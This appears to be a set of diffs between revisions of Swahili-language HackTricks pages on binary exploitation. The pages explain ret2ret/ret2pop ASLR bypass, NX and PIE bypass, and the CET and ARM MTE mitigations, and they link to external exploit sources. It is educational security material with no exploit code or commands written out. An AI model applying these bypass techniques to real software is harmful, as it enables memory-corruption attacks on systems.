* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* Biti 64, ASLR imewezeshwa, hakuna canary, kuzidi kwa steki katika main kutoka kwa kazi ya mtoto. ROP gadget kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha kuita gadget moja.
* Biti 64, ASLR imewezeshwa, hakuna canary, kuzidi stakini kwenye main kutoka kwa kazi ya mtoto. ROP gadget kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha kuita gadget moja.
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -18,25 +18,25 @@ Njia nyingine za kusaidia HackTricks:
Lengo kuu la mbinu hii ni kujaribu **kupita ASLR kwa kutumia pointer iliyopo kwenye stack**.
Kimsingi, mifuriko ya stack mara nyingi husababishwa na strings, na **strings hukamilika na byte ya null mwishoni** kwenye kumbukumbu. Hii inaruhusu kujaribu kupunguza mahali kinacholengwa na pointer iliyopo tayari kwenye stack. Kwa hivyo, ikiwa stack ilikuwa na `0xbfffffdd`, mifuriko hii inaweza kuibadilisha kuwa `0xbfffff00` (zingatia byte ya mwisho iliyozuiliwa).
Kimsingi, mafuriko ya stack mara nyingi husababishwa na strings, na **strings hukamilika na byte ya null mwishoni** kwenye kumbukumbu. Hii inaruhusu kujaribu kupunguza mahali kinachoelekezwa na pointer iliyopo tayari kwenye stack. Kwa hivyo, ikiwa stack ilikuwa na `0xbfffffdd`, mafuriko haya yanaweza kuita kuwa `0xbfffff00` (zingatia byte ya mwisho iliyozuiliwa).
Ikiwa anwani hiyo inalenga shellcode yetu kwenye stack, ni rahisi kufanya mwendelezo ufikie anwani hiyo kwa **kuongeza anwani kwenye maagizo ya `ret`** hadi ifikie hiyo.
Ikiwa anwani hiyo inaelekeza kwa shellcode yetu kwenye stack, ni rahisi kufanya mtiririko ufikie anwani hiyo kwa **kuongeza anwani kwenye maagizo ya `ret`** hadi hii ifikiwe.
Kwa hivyo, shambulio litakuwa kama ifuatavyo:
* NOP sled
* Shellcode
* Kufunika stack kutoka kwa EIP na **anwani za `ret`** (RET sled)
* 0x00 iliyoongezwa na string kubadilisha anwani kutoka kwenye stack ikilenga kwenye NOP sled
* 0x00 iliyoongezwa na string kubadilisha anwani kutoka kwenye stack ikielekeza kwenye NOP sled
Kufuatia [**kiunganishi hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) unaweza kuona mfano wa binary inayoweza kudukuliwa na [**katika hii**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) shambulio.
Kufuatia [**kiungo hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) unaweza kuona mfano wa binary inayoweza kudukuliwa na [**katika hii**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) shambulio.
## Ret2pop
Kwa kesi unapoweza kupata **pointer kamili kwenye stack ambayo haitaki kubadilishwa** (katika `ret2ret` tulibadilisha byte ya mwisho kuwa `0x00`), unaweza kufanya shambulio sawa la `ret2ret`, lakini **urefu wa RET sled lazima uwe mfupi kwa 1** (hivyo byte ya mwisho ya `0x00` inafunika data moja kabla ya pointer kamili), na **anwani ya mwisho** ya RET sled lazima ilenge **`pop <reg>; ret`**.\
Kwa njia hii, **data kabla ya pointer kamili itaondolewa** kwenye stack (hii ni data inayoguswa na `0x00`) na **ret ya mwisho italenga anwani kamili** kwenye stack bila mabadiliko yoyote.
Kwa kesi unapoweza kupata **pointer kamili kwenye stack ambayo haitaki kubadilishwa** (katika `ret2ret` tulibadilisha byte ya mwisho kuwa `0x00`), unaweza kutekeleza shambulio sawa la `ret2ret`, lakini **urefu wa RET sled lazima uwe mfupi kwa 1** (hivyo `0x00` ya mwisho inafunika data moja kabla ya pointer kamili), na **anwani ya mwisho** ya RET sled lazima ielekeze kwa **`pop <reg>; ret`**.\
Kwa njia hii, **data kabla ya pointer kamili itaondolewa** kutoka kwenye stack (hii ni data inayoguswa na `0x00`) na **ret ya mwisho itaelekeza kwenye anwani kamili** kwenye stack bila mabadiliko yoyote.
Kufuatia [**kiunganishi hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) unaweza kuona mfano wa binary inayoweza kudukuliwa na [**katika hii** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)shambulio.
Kufuatia [**kiungo hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) unaweza kuona mfano wa binary inayoweza kudukuliwa na [**katika hii** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) shambulio.
## Marejeo

View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -18,10 +18,10 @@ Njia nyingine za kusaidia HackTricks:
**CET** ni kipengele cha usalama kilichotekelezwa kwenye kiwango cha vifaa, kimeundwa kuzuia mashambulizi ya kudhibiti mwelekeo kama vile **Return-Oriented Programming (ROP)** na **Jump-Oriented Programming (JOP)**. Aina hizi za mashambulizi hufanya mabadiliko kwenye mwelekeo wa utekelezaji wa programu ili kutekeleza msimbo mbaya au kuunganisha vipande vya msimbo mzuri kwa njia inayotekeleza hatua mbaya.
CET inaleta vipengele viwili muhimu: **Ufuatiliaji wa Matawi Yasiyo ya Moja kwa Moja (IBT)** na **Stack ya Kivuli**.
CET inaleta vipengele viwili kuu: **Ufuatiliaji wa Matawi Yasiyo ya Moja kwa Moja (IBT)** na **Stack ya Kivuli**.
* **IBT** inahakikisha kwamba kuruka na simu zisizo za moja kwa moja zinaelekezwa kwa malengo halali, ambayo yameainishwa wazi kama vituo halali vya matawi yasiyo ya moja kwa moja. Hii inafikiwa kupitia matumizi ya seti mpya ya maagizo ambayo huiweka alama malengo halali, hivyo kuzuia wadukuzi kuelekeza mwelekeo wa kudhibiti kwenye maeneo yasiyo ya kawaida.
* **Stack ya Kivuli** ni mfumo unaozingatia usalama wa anwani za kurudi. Inaendelea nakala iliyolindwa, iliyofichwa ya anwani za kurudi tofauti na stack ya wito ya kawaida. Wakati kazi inaporudi, anwani ya kurudi inathibitishwa dhidi ya stack ya kivuli, ikizuia wadukuzi kubadilisha anwani za kurudi kwenye stack ili kudhibiti mwelekeo.
* **IBT** inahakikisha kwamba kuruka na simu za moja kwa moja zinaelekezwa kwa malengo halali, ambayo yameainishwa wazi kama vituo halali vya matawi yasiyo ya moja kwa moja. Hii inafikiwa kupitia matumizi ya seti mpya ya maagizo ambayo huiweka alama malengo halali, hivyo kuzuia wadukuzi kuelekeza mwelekeo wa kudhibiti kwenye maeneo yasiyo ya kawaida.
* **Stack ya Kivuli** ni mfumo unaotoa usalama kwa anwani za kurudi. Inaendelea nakala iliyolindwa, iliyofichwa ya anwani za kurudi tofauti na stack ya wito ya kawaida. Wakati kazi inarudi, anwani ya kurudi inathibitishwa dhidi ya stack ya kivuli, ikizuia wadukuzi kubadilisha anwani za kurudi kwenye stack ili kudhibiti mwelekeo.
## Stack ya Kivuli
@ -29,21 +29,7 @@ CET inaleta vipengele viwili muhimu: **Ufuatiliaji wa Matawi Yasiyo ya Moja kwa
## Jinsi CET na Stack ya Kivuli Zinazuia Mashambulizi
**Mashambulizi ya ROP na JOP** yanategemea uwezo wa kudhibiti mwelekeo wa maombi kwa kutumia mapungufu yanayowaruhusu kubadilisha pointa au anwani za kurudi kwenye stack. Kwa kuongoza mwelekeo kwa mfululizo wa vipande vya msimbo uliopo au vipande vya msimbo vinavyolenga kurudi, wadukuzi wanaweza kutekeleza msimbo mbaya.
**Mashambulizi ya ROP na JOP** yanategemea uwezo wa kudhibiti mwelekeo wa maombi kwa kutumia udhaifu unaowaruhusu kubadilisha pointa au anwani za kurudi kwenye stack. Kwa kuelekeza mwelekeo kwa vipande vya msimbo uliopo au vipande vya msimbo vinavyolenga kurudi, wadukuzi wanaweza kutekeleza msimbo mbaya.
* Kipengele cha **IBT cha CET** kinafanya mashambulizi haya kuwa magumu sana kwa kuhakikisha kwamba matawi yasiyo ya moja kwa moja yanaweza kuruka tu kwenye anwani ambazo zimeainishwa wazi kama malengo halali. Hii inafanya iwe haiwezekani kwa wadukuzi kutekeleza vipande vya msimbo vya kusambazwa kote kwenye faili.
* **Stack ya kivuli**, kwa upande mwingine, inahakikisha kwamba hata kama muhusika anaweza kubadilisha anwani ya kurudi kwenye stack ya kawaida, tofauti itagunduliwa wakati wa kulinganisha anwani iliyoharibika na nakala salama iliyohifadhiwa kwenye stack ya kivuli wakati wa kurudi kutoka kwa kazi. Ikiwa anwani hazilingani, programu inaweza kusitisha au kuchukua hatua za usalama zingine, ikizuia shambulio kufanikiwa.
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
* Kipengele cha **IBT cha CET** kinafanya mashambulizi haya kuwa magumu sana kwa kuhakikisha kwamba matawi yasiyo ya moja kwa moja yanaweza kuruka tu kwenye anwani ambazo zimeainishwa wazi kama malengo halali. Hii inafanya iwe haiwezekani kwa wadukuzi kutekeleza vipande vya msimbo mbaya vilivyotapakaa kwenye faili.
* **Stack ya kivuli**, kwa upande mwingine, inahakikisha kwamba hata kama muhusika anaweza kubadilisha anwani ya kurudi kwenye stack ya kawaida, **tofauti itagunduliwa** wakati wa kulinganisha anwani iliyoharibiwa na nakala salama iliyohifadhiwa kwenye stack ya kivuli wakati wa kurudi kutoka kwa kazi. Ikiwa anwani hazilingani, programu inaweza kusitisha au kuchukua hatua za usalama zingine, ikizuia shambulio kufanikiwa.

View file

@ -1,4 +1,4 @@
# Kurefusha Kumbukumbu ya Mbadala (MTE)
# Upanuzi wa Alama ya Kumbukumbu (MTE)
<details>
@ -16,33 +16,33 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
Kurefusha Kumbukumbu ya Mbadala (MTE) imeundwa kuboresha uaminifu na usalama wa programu kwa **kugundua na kuzuia makosa yanayohusiana na kumbukumbu**, kama vile kujaza mipaka ya ujazo na udhaifu wa kutumia baada ya kufutwa. MTE, kama sehemu ya usanifu wa **ARM**, hutoa mbinu ya kuambatanisha **lebo ndogo kwa kila ukadiriaji wa kumbukumbu** na **lebo inayolingana kwa kila kielekezi** kinachotaja kumbukumbu hiyo. Mbinu hii inaruhusu ugunduzi wa ufikiaji haramu wa kumbukumbu wakati wa muda wa uendeshaji, ikipunguza hatari kwa kiasi kikubwa ya kutumia udhaifu huo kwa kutekeleza nambari ya aina yoyote.
**Upanuzi wa Alama ya Kumbukumbu (MTE)** umebuniwa kuboresha uaminifu na usalama wa programu kwa **kugundua na kuzuia makosa yanayohusiana na kumbukumbu**, kama vile kujaza mipaka ya ujazo na udhaifu wa kutumia baada ya kufutwa. MTE, kama sehemu ya usanifu wa **ARM**, hutoa mbinu ya kuambatanisha **alama ndogo kwa kila ukadiriaji wa kumbukumbu** na **alama inayolingana kwa kila kielekezi** kinachotaja kumbukumbu hiyo. Mbinu hii inaruhusu ugunduzi wa ufikiaji haramu wa kumbukumbu wakati wa muda wa uendeshaji, ikipunguza hatari kubwa ya kutumia udhaifu huo kwa kutekeleza nambari ya aina yoyote.
### **Jinsi Kurefusha Kumbukumbu ya Mbadala Inavyofanya Kazi**
### **Jinsi Upanuzi wa Alama ya Kumbukumbu Unavyofanya Kazi**
MTE inafanya kazi kwa **kugawanya kumbukumbu katika vitengo vidogo vya ukubwa uliowekwa, kila kitengo kikipewa lebo,** kawaida ya ukubwa wa baadhi ya bits.&#x20;
MTE inafanya kazi kwa **kugawanya kumbukumbu katika vitengo vidogo vya ukubwa uliowekwa, kila kitengo kikipewa alama,** kawaida ya baadhi ya biti.&#x20;
Wakati kielekezi kinapoundwa ili kuelekeza kwenye kumbukumbu hiyo, kinapata lebo ile ile. Lebo hii inahifadhiwa katika **bits zisizotumiwa za kielekezi cha kumbukumbu**, ikilinkisha kielekezi na kitengo chake cha kumbukumbu kinacholingana.
Wakati kielekezi kinapoundwa kuelekeza kwenye kumbukumbu hiyo, kinapata alama ile ile. Alama hii inahifadhiwa katika **biti zisizotumiwa za kielekezi cha kumbukumbu**, ikilinkisha kielekezi kwa kitengo chake cha kumbukumbu kinacholingana.
<figure><img src="../../.gitbook/assets/image (1199).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Wakati programu inapata kumbukumbu kupitia kielekezi, vifaa vya MTE vinachunguza kwamba **lebo ya kielekezi inalingana na lebo ya kitengo cha kumbukumbu**. Ikiwa lebo **hazilingani**, inaashiria ufikiaji haramu wa kumbukumbu.
Wakati programu inapata ufikiaji wa kumbukumbu kupitia kielekezi, vifaa vya MTE huchunguza kwamba **alama ya kielekezi inalingana na alama ya kitengo cha kumbukumbu**. Ikiwa alama hizo **hazilingani**, inaashiria ufikiaji haramu wa kumbukumbu.
### Lebo za Kielekezi za MTE
### Alama za Kielekezi za MTE
Lebo ndani ya kielekezi zinahifadhiwa katika bits 4 ndani ya baiti ya juu:
Alama ndani ya kielekezi zinahifadhiwa katika biti 4 ndani ya baiti ya juu:
<figure><img src="../../.gitbook/assets/image (1200).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Hivyo, hii inaruhusu hadi **thamani 16 tofauti za lebo**.
Hivyo, hii inaruhusu hadi **alama 16 tofauti za kielekezi**.
### Lebo za Kumbukumbu za MTE
### Alama za Kumbukumbu za MTE
Kila **16B ya kumbukumbu ya kimwili** ina **lebo ya kumbukumbu inayolingana**.
Kila **16B ya kumbukumbu ya kimwili** ina alama ya **kumbukumbu inayolingana**.
Lebo za kumbukumbu zinahifadhiwa katika **eneo maalum la RAM** (lisilopatikana kwa matumizi ya kawaida). Ikiwa na lebo za bits 4 kwa kila 16B ya kumbukumbu inaweza kufikia hadi 3% ya RAM.
Alama za kumbukumbu zinahifadhiwa katika **eneo maalum la RAM** (lisilopatikana kwa matumizi ya kawaida). Kwa kuwa kuna alama za biti 4 kwa kila alama ya kumbukumbu ya 16B, hadi 3% ya RAM.
ARM inaleta maagizo yafuatayo ya kushughulikia lebo hizi katika kumbukumbu maalum ya RAM:
ARM inaleta maagizo yafuatayo kushughulikia alama hizi katika kumbukumbu maalum ya RAM:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
@ -67,25 +67,25 @@ CPU hukagua vitambulisho **kwa njia isiyo ya moja kwa moja**, na inapopata kutof
## Mifano ya Utekelezaji na Uchunguzi
Inaitwa KASAN ya Vitambulisho vya Vifaa, KASAN ya MTE-msingi au MTE ndani ya kernel.\
Wagawa wa kernel (kama vile `kmalloc`) wataita **moduli hii** ambayo itajiandaa na kutumia vitambulisho (kwa nasibu) kuvifunga kwenye nafasi ya kernel iliyotengwa na kwenye kiotero kilichorudishwa.
Wagawa-kernel (kama vile `kmalloc`) **wataita moduli hii** ambayo itajiandaa na kutumia vitambulisho (kwa nasibu) kuvifunga kwenye nafasi ya kernel iliyotengwa na kwenye kiotero kilichorudishwa.
Tambua kwamba ita **weka alama ya kutosha** kwa vipande vya kumbukumbu (kila moja ikiwa na 16B) kwa ukubwa ulioombwa. Kwa hivyo, ikiwa ukubwa ulioombwa ulikuwa 35 na slabu ya 60B ilitolewa, itaweka alama ya kwanza 16\*3 = 48B na alama hii na **mengine** yatakuwa **yamepigwa** na alama inayoitwa **batili (0xE)**.
Tambua kwamba ita **kutambua vijipande vya kumbukumbu vya kutosha** (kila moja ikiwa na 16B) kwa ukubwa ulioombwa. Kwa hivyo, ikiwa ukubwa ulioombwa ulikuwa 35 na slabu ya 60B ilitolewa, ita vifunga vya kwanza 16\*3 = 48B na kivitambulisho hiki na **kingine** kitakuwa **kimefungwa** na kivitambulisho kinachoitwa **batili (0xE)**.
Alama **0xF** ni **kufanana na kiotero chote**. Kumbukumbu yenye kiotero hiki inaruhusu **kutumia kiotero chochote** kufikia kumbukumbu yake (hakuna kutofautiana). Hii inaweza kuzuia MET kugundua shambulio ikiwa vitambulisho hivi vinatumika kwenye kumbukumbu iliyoshambuliwa.
Kivitambulisho **0xF** ni **kufanana na kiotero**. Kumbukumbu yenye kiotero hiki inaruhusu **kivitambulisho chochote kutumika** kufikia kumbukumbu yake (hakuna kutofautiana). Hii inaweza kuzuia MET kugundua shambulio ikiwa kivitambulisho hiki kinatumika kwenye kumbukumbu inayoshambuliwa.
Kwa hivyo kuna **thamani 14 tu** zinazoweza kutumika kuzalisha vitambulisho kwani 0xE na 0xF zimehifadhiwa, ikitoa uwezekano wa **kutumia tena vitambulisho** kwa 1/17 -> karibu **7%**.
Ikiwa kernel ina ufikivu wa **vipande vya kumbukumbu visivyo sahihi**, **kutofautiana** kutagunduliwa. Ikiwa inafikia eneo lingine la kumbukumbu, ikiwa **kumbukumbu ina kiotero tofauti** (au kiotero batili) kutofautiana kutagunduliwa. Ikiwa mshambuliaji ana bahati na kumbukumbu inatumia kiotero sawa, haitagunduliwa. Nafasi ni karibu 7%.
Ikiwa kernel ina ufikivu wa **kipande cha kumbukumbu cha batili**, **kutofautiana** kutagunduliwa. Ikiwa inafikia eneo lingine la kumbukumbu, ikiwa **kumbukumbu ina kiotero tofauti** (au kiotero batili) kutofautiana kutagunduliwa. Ikiwa mshambuliaji ana bahati na kumbukumbu inatumia kiotero sawa, haitagunduliwa. Nafasi ni karibu 7%.
Kosa lingine hutokea katika **kipande cha mwisho** cha kumbukumbu iliyotengwa. Ikiwa programu iliiomba 35B, ilipewa kipande kutoka 32 hadi 48. Kwa hivyo, **baiti kutoka 36 hadi 47 zinatumia kiotero sawa** lakini hazikuombwa. Ikiwa mshambuliaji anafikia **baiti hizi ziada, haitagunduliwa**.
Kosa lingine hutokea katika **kipande cha mwisho** cha kumbukumbu iliyotengwa. Ikiwa programu iliomba 35B, ilipewa kiotero kutoka 32 hadi 48. Kwa hivyo, **baiti kutoka 36 hadi 47 zinatumia kiotero sawa** lakini hazikuombwa. Ikiwa mshambuliaji anafikia **baiti hizi ziada, hii haitagunduliwa**.
Wakati wa **`kfree()`** kutekelezwa, kumbukumbu inapewa tena alama ya kumbukumbu batili, kwa hivyo katika **matumizi baada ya kuachiliwa**, wakati kumbukumbu inafikiwa tena, **kutofautiana kutagunduliwa**.
Wakati wa **`kfree()`** kutekelezwa, kumbukumbu inapewa tena kiotero cha kumbukumbu batili, kwa hivyo katika **matumizi-baada-ya-kuachiliwa**, wakati kumbukumbu inafikiwa tena, **kutofautiana kutagunduliwa**.
Hata hivyo, katika matumizi baada ya kuachiliwa, ikiwa **kipande kile kile kinafanyiwa upya tena na KIOTERO SAWA** kama awali, mshambuliaji ataweza kutumia ufikivu huu na haitagunduliwa (nafasi ya karibu 7%).
Hata hivyo, katika matumizi-baada-ya-kuachiliwa, ikiwa **kipande kile kile kinafanyiwa upya tena na KIOTERO SAWA** kama awali, mshambuliaji ataweza kutumia ufikivu huu na hii haitagunduliwa (nafasi ya karibu 7%).
Zaidi ya hayo, **`slab` na `page_alloc`** pekee hutumia kumbukumbu yenye vitambulisho lakini baadaye hii pia itatumika katika `vmalloc`, `stack` na `globals` (wakati wa video hizi bado zinaweza kutumiwa vibaya).
Zaidi ya hayo, **`slab` na `page_alloc`** pekee hutumia kumbukumbu zenye vitambulisho lakini baadaye hii pia itatumika katika `vmalloc`, `stack` na `globals` (wakati wa video hizi bado zinaweza kutumiwa vibaya).
Wakati **kutofautiana inagunduliwa** kernel ita **paniki** ili kuzuia shambulio zaidi na jaribio la kutumia mwanya (MTE haina makosa ya uwongo).
Wakati **kutofautiana inagunduliwa** kernel ita **paniki** ili kuzuia shambulio zaidi na majaribio ya shambulio (MTE haina makosa ya uwongo).
## Marejeo

View file

@ -16,11 +16,11 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
Biti ya **No-Execute (NX)**, inayojulikana pia kama **Execute Disable (XD)** kwa lugha ya Intel, ni kipengele cha usalama kilichojengwa kwenye vifaa vilivyoundwa kwa lengo la **kupunguza** athari za mashambulizi ya **kujaza upeo**. Ikiwa imeanzishwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu yanayokusudiwa kwa **mifumo ya kutekelezwa** na ile inayolenga **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mtu anayeshambulia kutekeleza msimbo wa kudhuru kupitia udhaifu wa kujaza upeo kwa kuweka msimbo wa kudhuru kwenye stack kwa mfano na kuongoza mtiririko wa utekelezaji kwake.
Biti ya **No-Execute (NX)**, inayojulikana pia kama **Execute Disable (XD)** kwa lugha ya Intel, ni kipengele cha usalama kinachotegemea vifaa kilichoundwa kwa lengo la **kupunguza** athari za mashambulizi ya **kujaza kijazo**. Ikiwa imeboreshwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu yanayokusudiwa kwa **mimbo inayoweza kutekelezwa** na yale yanayolenga **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mtu anayeshambulia kutekeleza kificho cha kudhuru kupitia udhaifu wa kujaza kijazo kwa kuweka kificho cha kudhuru kwenye stack kwa mfano na kuongoza mtiririko wa utekelezaji kwake.
## Kupitisha
* Inawezekana kutumia mbinu kama [**ROP**](../rop-return-oriented-programing/) kuvuka kinga hii kwa kutekeleza vipande vya msimbo wa kutekelezwa tayari uliopo kwenye binary.
* Inawezekana kutumia mbinu kama [**ROP**](../rop-return-oriented-programing/) **kupitisha** ulinzi huu kwa kutekeleza vipande vya kificho kinachoweza kutekelezwa tayari kilichopo kwenye faili ya binary.
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md)
* **Ret2...**

View file

@ -8,7 +8,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,26 +16,26 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
Binary iliyokompiliwa kama PIE, au **Position Independent Executable**, inamaanisha **programu inaweza kupakia kwenye maeneo tofauti ya kumbukumbu** kila wakati inapoendeshwa, ikizuia anwani zilizowekwa kwa nguvu.
Binary iliyokompiliwa kama PIE, au **Position Independent Executable**, inamaanisha **programu inaweza kupakiwa kwenye maeneo tofauti ya kumbukumbu** kila wakati inapoendeshwa, ikizuia anwani zilizowekwa kwa nguvu.
Ujanja wa kudukua binaries hizi uko katika kudukua **anwani za kihesabu**mbadala kati ya sehemu za programu hubaki sawa hata kama maeneo ya kihakika yanabadilika. Kwa **kupita PIE, unahitaji tu kuvuja anwani moja**, kawaida kutoka kwa **stack** kwa kutumia udhaifu kama mashambulizi ya aina ya string. Mara unapopata anwani, unaweza kuhesabu zingine kwa **kutumia offsets zilizowekwa**.
Ujanja wa kudukua binaries hizi uko katika kudukua **anwani za kihesabu**vikwazo kati ya sehemu za programu hubaki sawa hata kama maeneo ya kihakika yanabadilika. Kwa **kupita PIE, unahitaji tu kuvuja anwani moja**, kawaida kutoka kwa **stack** kwa kutumia udhaifu kama mashambulizi ya aina ya string. Mara unapopata anwani, unaweza kuhesabu zingine kwa **vikwazo vyao vilivyowekwa**.
Msaada muhimu katika kudukua binaries za PIE ni kwamba **anwani yao ya msingi kawaida huanza na 000** kwa sababu kurasa za kumbukumbu ndio vitengo vya ubadilikaji, vikiwa na ukubwa wa bayti 0x1000. Ulinganifu huu unaweza kuwa **uhakiki muhimu ikiwa kudukua hakifanyi kazi** kama ilivyotarajiwa, ikionyesha ikiwa anwani sahihi ya msingi imegunduliwa.\
Au unaweza kutumia hii kwa kudukua, ikiwa unavuja anwani iko kwenye **`0x649e1024`** unajua kwamba **anwani ya msingi ni `0x649e1000`** na kutoka hapo unaweza tu **kuzihesabu offsets** za kazi na maeneo.
Kiashiria muhimu katika kudukua binaries za PIE ni kwamba **anwani yao ya msingi kawaida huanza na 000** kwa sababu kurasa za kumbukumbu ni vitengo vya kubahatisha, vikiwa na ukubwa wa bajti 0x1000. Ulinganifu huu unaweza kuwa **uhakiki muhimu ikiwa kudukua hakifanyi kazi** kama ilivyotarajiwa, ikionyesha ikiwa anwani sahihi ya msingi imegunduliwa.\
Au unaweza kutumia hii kwa kudukua kwako, ikiwa unavuja anwani iko kwenye **`0x649e1024`** unajua kwamba **anwani ya msingi ni `0x649e1000`** na kutoka hapo unaweza tu **kuzihesabu vikwazo** vya kazi na maeneo.
## Kupita
Ili kupita PIE ni lazima **kuvuja anwani fulani ya binary iliyopakiwa**, kuna chaguo kadhaa kwa hili:
* **ASLR imelemazwa**: Ikiwa ASLR imelemazwa binary iliyokompiliwa na PIE daima **itapakiwa kwenye anwani ileile**, kwa hivyo **PIE itakuwa bure** kwani anwani za vitu zitakuwa daima mahali palepale.
